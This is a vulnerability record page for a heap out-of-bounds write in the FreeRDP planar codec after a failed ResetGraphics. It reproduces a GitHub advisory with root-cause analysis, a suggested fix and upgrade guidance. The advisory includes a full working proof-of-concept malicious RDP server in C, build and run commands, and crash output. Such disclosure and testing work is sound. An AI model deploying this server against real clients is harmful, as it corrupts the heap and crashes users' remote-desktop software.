Read the docs

Heap out-of-bounds write in FreeRDP planar codec on failed reset

Priority LOW 38Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

FreeRDP before 3.32.2 is affected. A failed reset in the planar codec commits new buffer sizes before its allocations succeed, so later writes overflow the old buffers. A remote server in the active RDP state can trigger a heap out-of-bounds write by sending a large ResetGraphics PDU followed by a planar GFX command, without user interaction, when the client runs in a constrained address space.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# FreeRDP planar codec: non-atomic geometry and buffer update on failed ResetGraphics causes heap out-of-bounds write ## Summary A remote server that has completed the RDP handshake and is in the ACTIVE state can trigger this issue, with the default configuration and without user interaction, when the client process runs in a constrained address space. The server first sends a ResetGraphics PDU with width and height of about 32766 so that the planar codec buffer growth allocation fails, then sends a GFX PLANAR command — a YCoCg payload with a non-zero cll field, or a BGRA32 surface carrying a RAW payload with an NA header. The decode then steps and writes with the new nTempStep/maxHeight/planeSize against a pTempData or rlePlanesBuffer that is still the old, smaller allocation, producing a heap out-of-bounds write, and the chroma sub-sampling path writes through a deltaPlanes pointer that the failed reset left NULL, producing a NULL-pointer write. The affected asset is the heap memory integrity of the client process. This was checked on the latest commit. ## Technical Details `freerdp_bitmap_planar_context_reset` (`libfreerdp/codec/planar.c:1741-1778`) writes the new maxWidth, maxHeight, maxPlaneSize and nTempStep before it grows the buffers, clears the planes, rlePlanes and deltaPlanes pointer arrays, and then recallocs each of the four buffers. If any of those allocations fails the function returns FALSE, but the new geometry has already been committed, the buffers keep their old, smaller sizes, and the pointer array entries for buffers not yet reassigned are NULL. No caller rolls that state back: `freerdp_client_codecs_reset` (`libfreerdp/core/codecs.c:185-191`) returns the error, `gdi_ResetGraphics` (`libfreerdp/gdi/gfx.c:149-166`) returns it without restoring any dimension state, `rdpgfx_recv_reset_graphics_pdu` (`channels/rdpgfx/client/rdpgfx_main.c:704-794`) only logs it with WLog_ERR and the connection continues, and `drdynvc_virtual_channel_client_thread` (`channels/drdynvc/client/drdynvc_main.c:1861-1865`) also logs the receive error and keeps looping. The data flow is `rdpgfx_recv_reset_graphics_pdu` -> `gdi_ResetGraphics` -> `freerdp_client_codecs_reset` -> `freerdp_bitmap_planar_context_reset` (sink), after which the GFX PLANAR command is decoded through `gdi_SurfaceCommand_Planar` (`libfreerdp/gdi/gfx.c:650-653`) against the inconsistent context, where `planar_decompress_plane_rle` (`libfreerdp/codec/planar.c:982-1037`) and `planar_subsample_expand` (`libfreerdp/codec/planar.c:697-705`) step and write with the new dimensions into the old buffers. The missing check is that the reset commits the new dimensions before the buffer allocations succeed, and that an allocation failure is only logged rather than terminating the session or rolling the context back. ## Impact The consequence is a heap out-of-bounds write and a NULL-pointer write inside the client process, corrupting that process's heap; the observed run ends in a segmentation fault. The protected asset is the heap memory integrity of the client process. ## Proof of Concept The behavior was reproduced at commit `651ab269524adbda4d673efa60d2e391ef7555a7`, with no modifications to the target code, using the malicious server below together with an observational LD_PRELOAD shim. From a normal checkout at that commit: ``` cd FreeRDP git checkout 651ab269524adbda4d673efa60d2e391ef7555a7 cmake -S . -B build -DWITH_SERVER=ON -DCMAKE_BUILD_TYPE=Debug cmake --build build cmake --install build --prefix install cc -o poc_server poc_server.c $(PKG_CONFIG_PATH=install/lib/pkgconfig pkg-config --cflags --libs freerdp-server3 freerdp3 winpr3) cc -shared -fPIC -o poc_trace_recalloc.so poc_trace_recalloc.c -ldl ./poc_server 3389 ``` Then, against the listening server: ``` ulimit -v 12582912 LD_PRELOAD=./poc_trace_recalloc.so install/bin/xfreerdp /v:127.0.0.1 /gfx /w:200 /h:200 /cert:ignore ``` Input: `CreateSurface` for surface 0 at 200x4096, `ResetGraphics` with width=height=32766, and a `WIRETOSURFACE_1` PLANAR command (codecId `RDPGFX_CODECID_PLANAR`, format `PIXEL_FORMAT_BGRX32`) whose first payload byte is CLL(4)|NA(0x20) followed by three raw planes of width*height. Observed output from the server: ``` POC: CreateSurface(200x4096) rc=0 POC: ResetGraphics(32766x32766) rc=0 POC: PLANAR SurfaceCommand len=2457601 rc=0 ``` Observed output from the client: ``` [rdpgfx_recv_reset_graphics_pdu]: RecvResetGraphicsPdu: width: 32766 height: 32766 count: 1 [gdi_ResetGraphics]: new size: 32766x32766 [rdpgfx_recv_pdu]: cmdId: RDPGFX_CMDID_WIRETOSURFACE_1 (0x0001) pduLength: 2457626 ``` Observed allocation trace from the client: ``` POC_TRACE recalloc(num=131064 size=32766 bytes=4294443024) -> ok POC_TRACE recalloc(num=1073741824 size=4 bytes=4294967296) -> ok POC_TRACE recalloc(num=1073741824 size=6 bytes=6442450944) -> (nil) ``` The third request fails at `libfreerdp/codec/planar.c:1765`, after the reset has committed the new maxWidth/maxHeight/nTempStep while pTempData is still the old small buffer. The client then faults: ``` [ERROR][com.freerdp.utils.signal.posix] - [fatal_handler]: Caught signal 'Segmentation fault' [11] ``` Resolving the faulting frames with addr2line gives `writeLine` (planar.c) <- `planar_decompress_planes_raw` (planar.c) <- `freerdp_bitmap_decompress_planar` (planar.c) <- `gdi_SurfaceCommand_Planar` (gfx.c) <- `gdi_SurfaceCommand` (gfx.c) <- `logSurfaceCommand` <- `rdpgfx_decode` <- `rdpgfx_recv_wire_to_surface_1_pdu` <- `rdpgfx_recv_pdu` <- `rdpgfx_on_data_received` <- `dvcman_call_on_receive`, with the faulting program counter in the innermost `writeLine`. The reproduction run reports `REPRO: attack_sent=1 reset_seen=1 alloc_fail_seen=1 crash=1 planar_frame=1` and `REPRO_RESULT: reproduced`. Control runs with RLIMIT_AS=100GiB let all four buffers allocate and produce no crash, and RLIMIT_AS=4GiB makes the primary GDI buffer fail so the reset is logged as failed and decode returns early without a crash, which confines the crash to the failed-allocation precondition stated above. `poc_server.c`: ```c /** * Malicious RDP server PoC. * * Drives a real FreeRDP client over the RDP/GFX wire path: * 1. accept an RDP client and open the drdynvc + rdpgfx dynamic channels * 2. answer the client CAPSADVERTISE with CAPSCONFIRM * 3. CreateSurface (surface 0) * 4. RESETGRAPHICS with width=height=32766 (rdpgfx_recv_reset_graphics_pdu -> * gdi_ResetGraphics -> freerdp_client_codecs_reset -> planar reset) * 5. WIRETOSURFACE_1 with codecId=PLANAR carrying a YCoCg (CLL != 0, no alpha, * no subsampling) raw payload * * The point of the PoC is the client side: when the planar context reset fails * (constrained address space) the reset has already committed the new * maxWidth/maxHeight/nTempStep, so the following PLANAR decode steps through the * old, small pTempData buffer with the new huge nTempStep -> out of bounds write. * * This program is the attacker. It only uses the public libfreerdp-server3 API; * the vulnerable code (libfreerdp codec/gdi) is stock. */ #include <freerdp/config.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <winpr/winpr.h> #include <winpr/crt.h> #include <winpr/synch.h> #include <winpr/ssl.h> #include <winpr/winsock.h> #include <winpr/assert.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <freerdp/types.h> #include <freerdp/listener.h> #include <freerdp/channels/channels.h> #include <freerdp/server/rdpgfx.h> #include <freerdp/channels/rdpgfx.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/channels/drdynvc.h> #include <freerdp/codec/color.h> #include <freerdp/log.h> #define TAG SERVER_TAG("poc") /* Dimensions used for the hostile ResetGraphics. 32766 is MAX_SURFACE_SIZE in * channels/rdpgfx/client/rdpgfx_main.c; PLANAR_ALIGN rounds it up to 32768 so * maxPlaneSize == 2^30 and the four planar buffers need 4+6+4+4 GiB. */ #define POC_RESET_W 32766u #define POC_RESET_H 32766u /* Surface / planar command geometry. Chosen so the OOB destination stride * (nTempStep = 32768*4 = 0x20000) walks ~537 MiB past the stale buffer. */ #define POC_SURF_W 200u #define POC_SURF_H 4096u #define POCMARK(...) \ do \ { \ fprintf(stdout, __VA_ARGS__); \ fputc('\n', stdout); \ fflush(stdout); \ } while (0) typedef struct { rdpContext context; HANDLE vcm; RdpgfxServerContext* rdpgfx; HANDLE gfxEvent; BOOL gfxOpened; BOOL capsReceived; BOOL attackSent; BOOL activated; BOOL drdynvcLogged; } PocPeer; static void poc_peer_context_free(freerdp_peer* client, rdpContext* ctx) { PocPeer* peer = (PocPeer*)ctx; WINPR_UNUSED(client); if (!peer) return; if (peer->rdpgfx) { rdpgfx_server_context_free(peer->rdpgfx); peer->rdpgfx = NULL; } if (peer->vcm && (peer->vcm != INVALID_HANDLE_VALUE)) WTSCloseServer(peer->vcm); peer->vcm = NULL; } static BOOL poc_peer_context_new(freerdp_peer* client, rdpContext* ctx) { PocPeer* peer = (PocPeer*)ctx; WINPR_ASSERT(client); WINPR_ASSERT(peer); peer->vcm = WTSOpenServerA((LPSTR)client->context); if (!peer->vcm || (peer->vcm == INVALID_HANDLE_VALUE)) return FALSE; return TRUE; } static BOOL poc_peer_init(freerdp_peer* client) { client->ContextSize = sizeof(PocPeer); client->ContextNew = poc_peer_context_new; client->ContextFree = poc_peer_context_free; return freerdp_peer_context_new(client); } /* Answer CAPSADVERTISE with CAPSCONFIRM. Any confirmed capset makes * priv->activeCapSet.version > 0, which is what the server send helpers gate * on. Prefer a plain 8.0 capset. */ static UINT poc_caps_advertise(RdpgfxServerContext* context, const RDPGFX_CAPS_ADVERTISE_PDU* capsAdvertise) { PocPeer* peer = NULL; const RDPGFX_CAPSET* chosen = NULL; WINPR_ASSERT(context); WINPR_ASSERT(capsAdvertise); peer = (PocPeer*)context->custom; WINPR_ASSERT(peer); for (UINT32 i = 0; i < capsAdvertise->capsSetCount; i++) { const RDPGFX_CAPSET* cur = &capsAdvertise->capsSets[i]; if ((cur->version == RDPGFX_CAPVERSION_8) || (cur->version == RDPGFX_CAPVERSION_81)) { chosen = cur; break; } } if (!chosen && (capsAdvertise->capsSetCount > 0)) chosen = &capsAdvertise->capsSets[0]; if (!chosen) { WLog_ERR(TAG, "POC: no capset advertised by client"); return ERROR_INTERNAL_ERROR; } { RDPGFX_CAPSET caps = *chosen; RDPGFX_CAPS_CONFIRM_PDU confirm; confirm.capsSet = &caps; POCMARK("POC: caps advertised by client -> confirming version=0x%08x flags=0x%08x", caps.version, caps.flags); const UINT rc = IFCALLRESULT(CHANNEL_RC_OK, context->CapsConfirm, context, &confirm); if (rc == CHANNEL_RC_OK) peer->capsReceived = TRUE; return rc; } } /* Build the PLANAR payload: * byte 0 FormatHeader = CLL(4) | NA(0x20) -> cll=4 (YCoCg), no alpha, raw * then 3 raw planes of planeSize = w*h (luma, chroma-orange, chroma-green) * alpha == 0 means the RLE/RAW parser expects exactly 3 planes. */ static BYTE* poc_build_planar(UINT32 w, UINT32 h, UINT32* outLen) { const UINT32 planeSize = w * h; const size_t len = 1u + (size_t)3u * planeSize; BYTE* data = (BYTE*)malloc(len); if (!data) return NULL; data[0] = (BYTE)(0x04u | 0x20u); /* CLL=4, NA set */ memset(data + 1, 0x80, len - 1); *outLen = (UINT32)len; return data; } static BOOL poc_send_attack(PocPeer* peer) { RdpgfxServerContext* gfx = peer->rdpgfx; UINT rc = 0; MONITOR_DEF monitor; RDPGFX_RESET_GRAPHICS_PDU reset; RDPGFX_CREATE_SURFACE_PDU createSurface; RDPGFX_SURFACE_COMMAND cmd; BYTE* payload = NULL; UINT32 payloadLen = 0; WINPR_ASSERT(gfx); /* (1) surface the client will later decode PLANAR into */ memset(&createSurface, 0, sizeof(createSurface)); createSurface.surfaceId = 0; createSurface.width = (UINT16)POC_SURF_W; createSurface.height = (UINT16)POC_SURF_H; createSurface.pixelFormat = GFX_PIXEL_FORMAT_XRGB_8888; rc = IFCALLRESULT(CHANNEL_RC_OK, gfx->CreateSurface, gfx, &createSurface); POCMARK("POC: CreateSurface(%ux%u) rc=%u", POC_SURF_W, POC_SURF_H, rc); /* (2) hostile ResetGraphics. The client sets DesktopWidth/Height, resizes * GDI (allocates the primary framebuffer) and then resets the codecs with * the new dimensions. Under a constrained address space the planar reset * commits the new geometry but fails its later allocations. */ memset(&monitor, 0, sizeof(monitor)); monitor.left = 0; monitor.top = 0; monitor.right = (INT32)POC_RESET_W; monitor.bottom = (INT32)POC_RESET_H; monitor.flags = 1; memset(&reset, 0, sizeof(reset)); reset.width = POC_RESET_W; reset.height = POC_RESET_H; reset.monitorCount = 1; reset.monitorDefArray = &monitor; rc = IFCALLRESULT(CHANNEL_RC_OK, gfx->ResetGraphics, gfx, &reset); POCMARK("POC: ResetGraphics(%ux%u) rc=%u", POC_RESET_W, POC_RESET_H, rc); /* (3) PLANAR surface command using the inconsistent planar context */ payload = poc_build_planar(POC_SURF_W, POC_SURF_H, &payloadLen); if (!payload) return FALSE; memset(&cmd, 0, sizeof(cmd)); cmd.surfaceId = 0; cmd.codecId = RDPGFX_CODECID_PLANAR; cmd.format = PIXEL_FORMAT_BGRX32; cmd.left = 0; cmd.top = 0; cmd.right = POC_SURF_W; cmd.bottom = POC_SURF_H; cmd.width = POC_SURF_W; cmd.height = POC_SURF_H; cmd.length = payloadLen; cmd.data = payload; rc = IFCALLRESULT(CHANNEL_RC_OK, gfx->SurfaceCommand, gfx, &cmd); POCMARK("POC: PLANAR SurfaceCommand len=%u rc=%u", payloadLen, rc); free(payload); return TRUE; } static BOOL poc_peer_post_connect(freerdp_peer* client) { PocPeer* peer = (PocPeer*)client->context; WINPR_ASSERT(peer); POCMARK("POC: client post_connect %s", (client->hostname[0] != '\0') ? client->hostname : "(local)"); return TRUE; } static BOOL poc_peer_activate(freerdp_peer* client) { PocPeer* peer = (PocPeer*)client->context; WINPR_ASSERT(peer); peer->activated = TRUE; POCMARK("POC: client activated"); return TRUE; } static DWORD WINAPI poc_peer_mainloop(LPVOID arg) { UINT error = CHANNEL_RC_OK; DWORD status = 0; freerdp_peer* client = (freerdp_peer*)arg; PocPeer* peer = NULL; rdpSettings* settings = NULL; BOOL started = FALSE; const char* certFile = getenv("POC_CERT"); const char* keyFile = getenv("POC_KEY"); WINPR_ASSERT(client); if (!poc_peer_init(client)) { freerdp_peer_free(client); return 0; } peer = (PocPeer*)client->context; WINPR_ASSERT(peer); settings = client->context->settings; WINPR_ASSERT(settings); /* TLS with a self signed certificate; the client is started with /cert:ignore. */ { rdpPrivateKey* key = freerdp_key_new_from_file_enc(keyFile, NULL); if (!key) { WLog_ERR(TAG, "POC: cannot load key '%s'", keyFile ? keyFile : "(null)"); goto fail; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, key, 1)) goto fail; } { rdpCertificate* cert = freerdp_certificate_new_from_file(certFile); if (!cert) { WLog_ERR(TAG, "POC: cannot load cert '%s'", certFile ? certFile : "(null)"); goto fail; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, cert, 1)) goto fail; } freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, FALSE); freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, TRUE); freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE); freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE); freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE); freerdp_settings_set_bool(settings, FreeRDP_SupportGraphicsPipeline, TRUE); freerdp_settings_set_bool(settings, FreeRDP_RemoteFxCodec, TRUE); freerdp_settings_set_bool(settings, FreeRDP_NSCodec, TRUE); freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32); freerdp_settings_set_uint32(settings, FreeRDP_MultifragMaxRequestSize, 0xFFFFFF); client->PostConnect = poc_peer_post_connect; client->Activate = poc_peer_activate; if (!client->Initialize(client)) { WLog_ERR(TAG, "POC: peer Initialize failed"); goto fail; } started = TRUE; POCMARK("POC: peer initialized, entering main loop"); while (error == CHANNEL_RC_OK) { DWORD count = 0; HANDLE handles[40]; { const DWORD tmp = client->GetEventHandles(client, &handles[count], 32 - count); if (tmp == 0) break; count += tmp; } handles[count++] = WTSVirtualChannelManagerGetEventHandle(peer->vcm); if (peer->gfxEvent) handles[count++] = peer->gfxEvent; status = WaitForMultipleObjects(count, handles, FALSE, INFINITE); if (status == WAIT_FAILED) { WLog_ERR(TAG, "POC: WaitForMultipleObjects failed"); break; } if (client->CheckFileDescriptor(client) != TRUE) break; /* drdynvc must only be (auto)opened after the client joined the static * channel; opening it earlier (during the connect handshake) leaves the * WTS manager stuck in DRDYNVC_STATE_INITIALIZED forever. */ const BOOL drdynvcJoined = WTSVirtualChannelManagerIsChannelJoined(peer->vcm, DRDYNVC_SVC_CHANNEL_NAME); /* Only start the drdynvc/GFX dynamic channel machinery once the session is * activated. Initializing it earlier emits the DRDYNVC capability PDU while * the client is still in its connect state machine and breaks the * licensing / connect-time-autodetect exchange. */ const BOOL dvcReadyToInit = peer->activated && drdynvcJoined; if (WTSVirtualChannelManagerCheckFileDescriptorEx(peer->vcm, dvcReadyToInit) != TRUE) break; if (dvcReadyToInit && !peer->drdynvcLogged) { peer->drdynvcLogged = TRUE; POCMARK("POC: activated + drdynvc joined, state=%d", (int)WTSVirtualChannelManagerGetDrdynvcState(peer->vcm)); } if (dvcReadyToInit && (WTSVirtualChannelManagerGetDrdynvcState(peer->vcm) == DRDYNVC_STATE_READY) && !peer->gfxOpened) { RdpgfxServerContext* gfx = rdpgfx_server_context_new(peer->vcm); if (!gfx) { WLog_ERR(TAG, "POC: rdpgfx_server_context_new failed"); break; } gfx->rdpcontext = &peer->context; gfx->custom = peer; gfx->CapsAdvertise = poc_caps_advertise; if (!IFCALLRESULT(TRUE, gfx->Initialize, gfx, TRUE)) { WLog_ERR(TAG, "POC: rdpgfx Initialize failed"); rdpgfx_server_context_free(gfx); break; } if (!IFCALLRESULT(TRUE, gfx->Open, gfx)) { WLog_WARN(TAG, "POC: rdpgfx Open failed (client may not offer GFX)"); rdpgfx_server_context_free(gfx); } else { peer->rdpgfx = gfx; peer->gfxOpened = TRUE; POCMARK("POC: rdpgfx channel opened"); peer->gfxEvent = rdpgfx_server_get_event_handle(gfx); WLog_INFO(TAG, "POC: rdpgfx channel opened"); } } if (peer->gfxEvent && (WaitForSingleObject(peer->gfxEvent, 0) == WAIT_OBJECT_0) && peer->rdpgfx) { const UINT rc = rdpgfx_server_handle_messages(peer->rdpgfx); if ((rc != CHANNEL_RC_OK) && (rc != ERROR_NO_DATA)) WLog_WARN(TAG, "POC: rdpgfx_server_handle_messages rc=%" PRIu32, rc); } if (peer->capsReceived && !peer->attackSent) { peer->attackSent = TRUE; poc_send_attack(peer); } } WLog_INFO(TAG, "POC: client disconnected / loop end"); if (started && client->Disconnect) client->Disconnect(client); fail: freerdp_peer_context_free(client); freerdp_peer_free(client); return error; } static BOOL poc_peer_accepted(freerdp_listener* instance, freerdp_peer* client) { HANDLE hThread = NULL; WINPR_UNUSED(instance); WINPR_ASSERT(client); if (!(hThread = CreateThread(NULL, 0, poc_peer_mainloop, (void*)client, 0, NULL))) return FALSE; CloseHandle(hThread); return TRUE; } static void poc_server_mainloop(freerdp_listener* instance) { HANDLE handles[32]; DWORD count = 0; DWORD status = 0; while (1) { count = instance->GetEventHandles(instance, handles, 32); if (count == 0) break; status = WaitForMultipleObjects(count, handles, FALSE, INFINITE); if (status == WAIT_FAILED) break; if (instance->CheckFileDescriptor(instance) != TRUE) break; } instance->Close(instance); } int main(int argc, char* argv[]) { int rc = -1; WSADATA wsaData; freerdp_listener* instance = NULL; long port = 3389; const char* envPort = getenv("POC_PORT"); if (argc > 1) port = strtol(argv[1], NULL, 10); else if (envPort) port = strtol(envPort, NULL, 10); if ((port < 1) || (port > 65535)) return -1; if (getenv("POC_DEBUG")) WLog_SetLogLevel(WLog_GetRoot(), WLOG_DEBUG); if (!WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi())) return -1; if (!winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT)) return -1; instance = freerdp_listener_new(); if (!instance) return -1; instance->PeerAccepted = poc_peer_accepted; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) goto fail; POCMARK("POC: listening on port %ld", port); if (!instance->Open(instance, NULL, (UINT16)port)) goto fail; poc_server_mainloop(instance); rc = 0; fail: freerdp_listener_free(instance); WSACleanup(); return rc; } ``` `poc_trace_recalloc.c`: ```c /* Diagnostic-only LD_PRELOAD shim. * * Logs every large winpr_aligned_recalloc() request made by the process and * whether it succeeded. Used to observe, from inside the victim client, that * the planar context reset's buffer growth requests fail under a constrained * address space. It does not change any behaviour (the real function is called * unchanged), it only records. */ #define _GNU_SOURCE #include <dlfcn.h> #include <stdio.h> #include <stdint.h> typedef void* (*winpr_aligned_recalloc_fn)(void*, size_t, size_t, size_t); void* winpr_aligned_recalloc(void* memblock, size_t num, size_t size, size_t alignment) { static winpr_aligned_recalloc_fn real = NULL; if (!real) real = (winpr_aligned_recalloc_fn)dlsym(RTLD_NEXT, "winpr_aligned_recalloc"); void* ret = real(memblock, num, size, alignment); const uint64_t bytes = (uint64_t)num * (uint64_t)size; if (bytes >= (1ULL << 28)) /* >= 256 MiB */ { fprintf(stderr, "POC_TRACE recalloc(old=%p num=%zu size=%zu bytes=%llu) -> %p\n", memblock, num, size, (unsigned long long)bytes, ret); fflush(stderr); } return ret; } ``` ## Suggested Fix `freerdp_bitmap_planar_context_reset` should not commit maxWidth, maxHeight, maxPlaneSize or nTempStep until every buffer allocation has succeeded: compute the new geometry into locals, grow all four buffers, and only then publish the new sizes, restoring the previous geometry if any allocation fails. Correspondingly, the callers that currently only log a failed reset — `rdpgfx_recv_reset_graphics_pdu` and `drdynvc_virtual_channel_client_thread` — must treat that failure as fatal for the session instead of continuing to decode with the broken context.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-fg78-v8j5-8697
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-fg78-v8j5-8697

Remediation

Update FreeRDP to version 3.32.2 or later, which fixes the issue.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-fg78-v8j5-8697 FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-fg78-v8j5-8697

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences